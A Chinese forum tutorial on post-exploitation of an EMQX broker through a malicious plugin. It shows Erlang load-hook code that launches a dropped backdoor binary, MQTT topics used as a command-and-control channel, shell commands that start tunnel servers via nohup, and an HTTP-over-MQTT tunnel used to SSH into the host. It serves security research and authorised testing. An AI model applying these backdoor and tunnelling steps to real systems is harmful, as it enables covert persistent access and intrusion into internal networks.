找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3801

积分

0

好友

560

主题
发表于 14 小时前 | 查看: 2| 回复: 0

上一篇文章介绍了在EMQX后台通过插件植入实现命令执行的方法,但存在一个问题:执行结果无法直接回显。那么,如何利用这个暴露的MQTT服务进一步渗透呢?命令执行本身或许容易,但后续的利用才是真正的挑战(如果目标能出网,情况会简单很多)。

MQTT是一种轻量级的消息协议,专为低带宽、不可靠网络或需要简单通信的场景设计,常用于物联网设备通讯。其核心是发布/订阅模式:客户端向某个主题(Topic)发布消息,而订阅了该主题的客户端则会收到消息。

利用方式一:通过MQTT协议回显命令执行结果

思路是:编写一个MQTT客户端程序,将其作为后门植入。该程序订阅一个用于接收命令的主题,执行收到的命令,然后将结果发布到另一个主题,从而实现回显。

首先,将编译好的可执行文件(我们暂且称之为rce)放置于插件源码目录 my_emqx_plugin/src 下。

Kali Linux下插件源码目录中的后门可执行文件

接着,在插件的Erlang源码中,找到命令执行点(例如应用启动时的load函数),添加执行该后门程序的代码。

% Called when the plugin application start
load(Env) ->
    os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/src/rce /tmp/"),
    os:cmd("chmod +x /tmp/rce"),
    os:cmd("bash -c \"/tmp/rce\""),

Erlang插件源码中添加的系统命令调用

随后,在EMQX管理后台上传并尝试启动这个新编译的插件。虽然插件状态可能显示“已停止”(因为rce进程可能导致插件启动流程卡住),但后门程序其实已经在后台运行了。

EMQX插件管理页面显示插件已停止

从管理面板的集群概览中,可以看到连接数增加了,这证明我们的后门已经成功连接上线。

EMQX集群概览显示连接数增加

接下来,我们需要一个控制端。可以使用 MQTTX 这类客户端连接到目标MQTT服务。

MQTTX客户端连接配置界面

这里需要明确主题的交互逻辑:我们植入的后门程序会发布命令执行结果到 tx/test 主题,并订阅 rx/test 主题来接收命令。因此,控制端(MQTTX)需要做相反的操作:订阅 tx/test 来接收结果,发布命令到 rx/test

连接成功后,向 rx/test 主题发送一条命令,例如 ps -ef,即可在 tx/test 主题下收到命令执行结果的回显。

通过MQTT主题交互实现命令执行结果回显

至此,我们成功实现了在不出网的情况下,通过MQTT协议对命令执行结果进行回显。如果因为插件进程卡住导致无法卸载插件,可以先通过MQTT通道执行命令启动一个新的持久化后门,然后强行终止插件进程,即可完成插件的卸载。

通过MQTT发送命令终止指定进程

利用方式二:利用MQTT协议构建内网穿透隧道

我们能否更进一步,利用这个通道进行内网穿透呢?考虑到HTTP协议也是“一发一收”的请求-响应模式,我们可以设计一个HTTP代理隧道。

整体架构涉及两对程序:

  1. 服务端:部署在目标内网的 httpserverhttpserver-mqtt
  2. 客户端:攻击者本地的 httpclienthttpclient-mqtt

流程图如下:
httpserver <-> httpserver-mqtt <-(MQTT通道)-> httpclient-mqtt <-> httpclient

基于MQTT的HTTP代理隧道架构图

首先,将 httpserverhttpserver-mqtt 这两个可执行文件,通过利用方式一中提到的插件上传方法,放到目标机器的插件目录下。

插件源码目录中的HTTP隧道服务端文件

然后,同样使用利用方式一建立的控制通道,执行命令查看文件是否上传成功,并编写一个启动脚本。

ls -l plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/src

通过MQTT命令查看上传的服务端文件

此时EMQX管理面板显示只有2个连接(MQTTX和控制后门)。我们创建一个启动脚本 /tmp/1.sh,目的是同时运行两个服务端程序。

echo "nohup .././.././.././../tmp/server 2>&1 &" > /tmp/1.sh
echo "nohup .././.././.././../tmp/servertomqtt 2>&1 &" >> /tmp/1.sh

通过MQTT命令创建启动脚本

查看脚本内容并执行:

cat /tmp/1.sh
bash /tmp/1.sh
ls -l /tmp/

查看并执行启动脚本,确认文件存在

执行脚本后,从EMQX面板可以看到连接数增加了,说明隧道服务端已经成功运行。

EMQX集群概览显示连接数再次增加

现在,在攻击者本地运行客户端程序 httpclienthttpclient-mqtt

启动本地HTTP隧道客户端程序

隧道建立后,即可通过本地代理访问目标内网资源。例如,在Docker环境下,172.17.0.1 通常是宿主机的IP。

ssh root@172.17.0.1

通过建立的隧道SSH连接内网宿主机

整个过程中,HTTP请求和响应数据都被封装在MQTT消息中进行传输,实现了数据流的内网穿透

MQTT隧道传输的HTTP请求与响应数据流

通过MQTT主题传输的Base64编码数据包

通过上述两种方式,我们演示了如何对一个存在插件上传漏洞的EMQX 消息中间件 进行深度利用,从简单的命令执行升级为可持续交互的控制通道,乃至实现内网穿透。这凸显了在物联网和运维场景中,MQTT服务安全配置的重要性。

免责声明:本文所述技术方法仅用于安全研究、学习交流与合法授权的安全测试,请勿用于任何非法用途。使用者产生的任何不当行为均与本文作者及云栈社区无关。




上一篇:基于MoE架构的MIGA模型:组内注意力与动态路由提升股票预测收益
下一篇:EMQX插件漏洞复现与利用分析:5.5.1版本后台命令执行
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-7 16:54 , Processed in 0.570112 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表